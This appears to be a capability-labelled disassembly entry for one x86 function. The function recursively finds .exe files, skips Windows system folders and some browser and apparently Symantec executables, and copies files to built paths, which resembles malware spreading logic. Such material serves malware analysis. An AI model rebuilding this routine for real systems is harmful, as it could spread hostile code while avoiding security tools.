Function at 0x4013f5
Capabilities:
Copy file
Enumerate files on windows
Enumerate files recursively

Disassembly:
sub esp, 0x10
push ebx
push ebp
push esi
mov esi, 0x1f4
push edi
push esi
call fcn.00403960
mov ebx, eax
push esi
mov dword [esp + 0x20], ebx
call fcn.00403960
push esi
mov dword [esp + 0x1c], eax
call fcn.00403960
push esi
mov edi, eax
call fcn.00403960
push dword [esp + 0x34]
mov esi, eax
mov dword [esp + 0x30], esi
push ebx
call fcn.00403870
push str..exe
push ebx
call fcn.00403880
push 0x140
call fcn.00403960
push dword [0x40ba4c]
mov ebp, eax
push dword [esp + 0x4c]
call fcn.00407f10
add esp, 0x2c
test eax, eax
je 0x401730
push dword [0x40ba54]
push dword [esp + 0x28]
call fcn.00407f10
pop ecx
test eax, eax
pop ecx
je 0x401730
lea eax, [esp + 0x14]
push str.windows
push eax
mov dword [esp + 0x1c], 7
push dword [esp + 0x2c]
call fcn.00401d76
pop ecx
pop ecx
push eax
call fcn.00407f10
pop ecx
test eax, eax
pop ecx
je 0x401730
lea eax, [esp + 0x14]
push str.system32
push eax
mov dword [esp + 0x1c], 8
push dword [esp + 0x2c]
call fcn.00401d76
pop ecx
pop ecx
push eax
call fcn.00407f10
pop ecx
test eax, eax
pop ecx
je 0x401730
lea eax, [esp + 0x14]
push str.system
push eax
mov dword [esp + 0x1c], 6
push dword [esp + 0x2c]
call fcn.00401d76
pop ecx
pop ecx
push eax
call fcn.00407f10
pop ecx
test eax, eax
pop ecx
je 0x401730
push ebp
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0x14], eax
mov ebx, 0x40b048
je 0x40167f
lea eax, [ebp + 0x2c]
push str.IEXPLORE.EXE
push eax
call fcn.00407f10
pop ecx
test eax, eax
pop ecx
je 0x401663
lea eax, [ebp + 0x2c]
push str.ccApp.exe
push eax
call fcn.00407f10
pop ecx
test eax, eax
pop ecx
je 0x401663
lea eax, [ebp + 0x2c]
push str.ccRegVfy.exe
push eax
call fcn.00407f10
pop ecx
test eax, eax
pop ecx
je 0x401663
push dword [esp + 0x24]
push edi
call fcn.00403870
push ebx
push edi
call fcn.00403880
lea eax, [ebp + 0x2c]
push eax
push edi
call fcn.00403880
push edi
push esi
call fcn.00403870
add esp, 0x20
push 0x40ba38
push esi
call fcn.004037f0
pop ecx
lea eax, [eax + esi - 3]
push eax
call fcn.00403870
push esi
call fcn.004013af
add esp, 0xc
test al, al
je 0x4015b7
push esi
call fcn.00401c74
pop ecx
push edi
call fcn.00401900
test al, al
pop ecx
jne 0x401663
push edi
mov ecx, 0x40ba44
call fcn.00401e2a
test al, al
je 0x401663
push dword [0x40ba54]
call fcn.004037f0
mov ecx, dword [0x40ba40]
lea eax, [eax + ecx + 0xa]
push eax
call fcn.00403960
push dword [0x40ba54]
mov esi, eax
push esi
call fcn.00403870
push ebx
push esi
call fcn.00403880
push dword [0x40ba30]
push esi
call fcn.00403880
push 0x40b078
push esi
call fcn.00403880
push 0x40ba3c
push esi
call fcn.00403880
add esp, 0x30
push 0
push esi
push dword [0x40ba50]
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push esi
push edi
mov ecx, 0x40ba44
call fcn.00402318
push edi
push esi
call fcn.00401a70
push esi
call fcn.00401c74
push esi
call fcn.004037de
mov esi, dword [esp + 0x2c]
add esp, 0x10
push ebp
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x40167f
push str.IEXPLORE.EXE
lea eax, [ebp + 0x2c]
jmp 0x401528
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_FindClose]
push dword [esp + 0x24]
push dword [esp + 0x1c]
call fcn.00403870
push str..
push dword [esp + 0x24]
call fcn.00403880
add esp, 0x10
push ebp
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [esp + 0x14], eax
cmp eax, 0xffffffff
je 0x40172c
mov eax, dword [ebp]
and eax, 0x10
cmp al, 0x10
jne 0x40171d
lea eax, [ebp + 0x2c]
push 0x40b078
push eax
call fcn.00407f10
pop ecx
test eax, eax
pop ecx
je 0x40171d
lea eax, [ebp + 0x2c]
push 0x40b06c
push eax
call fcn.00407f10
pop ecx
test eax, eax
pop ecx
je 0x40171d
push dword [esp + 0x24]
push dword [esp + 0x14]
call fcn.00403870
push ebx
push dword [esp + 0x1c]
call fcn.00403880
lea eax, [ebp + 0x2c]
push eax
push dword [esp + 0x24]
call fcn.00403880
push dword [esp + 0x28]
call fcn.004013f5
add esp, 0x1c
push ebp
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jmp 0x4016b9
mov ebx, dword [esp + 0x18]
push ebx
call fcn.004037de
push dword [esp + 0x14]
call fcn.004037de
push edi
call fcn.004037de
push esi
call fcn.004037de
push ebp
call fcn.004037de
add esp, 0x14
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret